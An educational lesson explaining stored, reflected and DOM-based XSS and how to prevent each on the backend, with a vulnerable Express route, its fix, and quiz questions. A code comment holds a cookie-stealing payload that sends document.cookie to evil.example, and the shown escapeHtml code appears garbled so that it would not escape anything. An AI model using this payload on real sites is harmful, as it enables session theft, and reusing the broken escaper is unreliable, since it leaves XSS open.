How do stored, reflected, and DOM-based XSS actually differ, and how do you prevent each on the backend?
Cross-site scripting isn't one bug — it's three different delivery mechanisms for the same payload, and each one demands a different fix in a different layer of your stack.
LEARN BY DOINGPut your intuition to work3 steps
How do stored, reflected, and DOM-based XSS actually differ, and how do you prevent each on the backend?
Use the lesson’s examples and explanation to check your idea.
Personal reflection. Nothing is sent to an AI service.#The same payload, three different delivery trucks
Cross-site scripting (XSS) means an attacker gets their JavaScript to execute in a victim's browser, in the security context of a site the victim trusts. Every flavor of XSS ends with <script> (or an event handler, or a javascript: URL) running with the origin's cookies, DOM access, and same-origin privileges. What differs is how the payload gets from the attacker to the victim's browser — and that difference is exactly what determines where you fix it.
#Stored XSS
The payload is saved server-side — in a database row, a comment field, a user profile bio — and served back to every visitor who views that page. This is the most dangerous variant because it requires zero social engineering per victim: the attacker submits the payload once (say, in a product review) and it detonates in the browser of everyone who later loads that page.
#Reflected XSS
The payload lives in the request itself — usually a query string or form field — and the server immediately echoes it back into the HTML response without sanitizing it. A classic example is a search page that renders "No results for USER_INPUT" straight into the page. The attacker has to trick one victim into clicking a crafted link (phishing email, malicious ad), because the payload never touches storage.
#DOM-based XSS
The payload never even reaches the server. Client-side JavaScript reads an attacker-controlled source — location.hash, document.referrer, window.name — and writes it into a dangerous sink like innerHTML or document.write without the server ever seeing that data pass through a request body. This is why DOM XSS is sometimes mistaken for a "frontend-only" bug — but the backend still has real responsibility here, particularly around the security headers it emits.
| Variant | Where the payload lives | Who's exposed | Where you actually fix it |
|---|---|---|---|
| Stored | Database / persistent storage | Every viewer of the page | Encode on output (and validate on input) |
| Reflected | The request itself | Whoever clicks the crafted link | Encode on output |
| DOM-based | Client-side JS reading an untrusted source | Whoever loads the page with the crafted fragment/URL | Safe sink APIs + CSP, client-side sanitization |
#A vulnerable example and the fix
Here's a Node/Express route that looks completely reasonable and is trivially exploitable — a classic reflected XSS built by string-concatenating a query parameter into an HTML response:
// VULNERABLE: the query string is echoed straight into HTMLapp.get('/search', (req, res) => {const query = req.query.q || '';res.send('<html><body>' +'<h1>Search results</h1>' +'<p>No results found for "' + query + '"</p>' +'</body></html>');});// A request to /search?q=<script>fetch('https://evil.example/steal?c='+document.cookie)</script>// executes the attacker's script in the victim's browser, in your site's origin.
The fix is contextual output encoding, applied at the exact point the untrusted value is inserted into HTML:
const escapeHtml = (str) =>String(str).replace(/&/g, '&').replace(/</g, '<').replace(/>/g, '>').replace(/"/g, '"').replace(/'/g, ''');app.get('/search', (req, res) => {const query = escapeHtml(req.query.q || '');res.set('Content-Security-Policy', "default-src 'self'; script-src 'self'");res.send('<html><body>' +'<h1>Search results</h1>' +'<p>No results found for "' + query + '"</p>' +'</body></html>');});
Two things happened here, and both matter. First, the query value is HTML-entity-encoded before insertion, so <script> arrives in the browser as literal text (<script>), not a parseable tag. Second, a Content-Security-Policy header was added as defense in depth — even if an encoding bug slips through somewhere else on the page, a strict CSP with no unsafe-inline blocks the injected script from executing at all.
In practice you rarely hand-roll escapeHtml: production templating engines (Jinja2 autoescape, React's JSX, Handlebars' {{ }}) already do contextual encoding by default, and the actual bug that reaches production is almost always a developer explicitly opting out of that default — dangerouslySetInnerHTML in React, triple-mustache in Handlebars, or |safe in Jinja2. Auditing a codebase for XSS is largely a search for those escape hatches.
#Where DOM-based XSS actually gets fixed
Since DOM XSS never touches your server's request handling, you can't encode your way out of it from a route handler. The backend's job here is to ship code and headers that make the dangerous sinks harder to reach:
- Serve a
Content-Security-Policythat disallowsunsafe-inlinescripts and, ideally, usestrusted-typesto makeinnerHTML/document.writeassignments require a sanitizedTrustedHTMLobject, throwing at runtime otherwise. - Ship (or mandate via lint rule) a sanitizer like DOMPurify for any client code that must render untrusted HTML, and ban raw
innerHTML =assignments in code review. - Set
HttpOnlyon session cookies so that even a successful XSS payload can't read them directly viadocument.cookie— it limits the blast radius rather than preventing the injection, but it's cheap and it matters.
🧠 Check your understanding
0/3 · 0/3 answered1. A user's malicious comment is saved to the database and later renders as executable JavaScript for every visitor who views that page. What type of XSS is this?
2. Why is a denylist that strips '<script>' tags from user input generally a weak defense against XSS?
3. Why can't a backend route handler directly fix a DOM-based XSS vulnerability?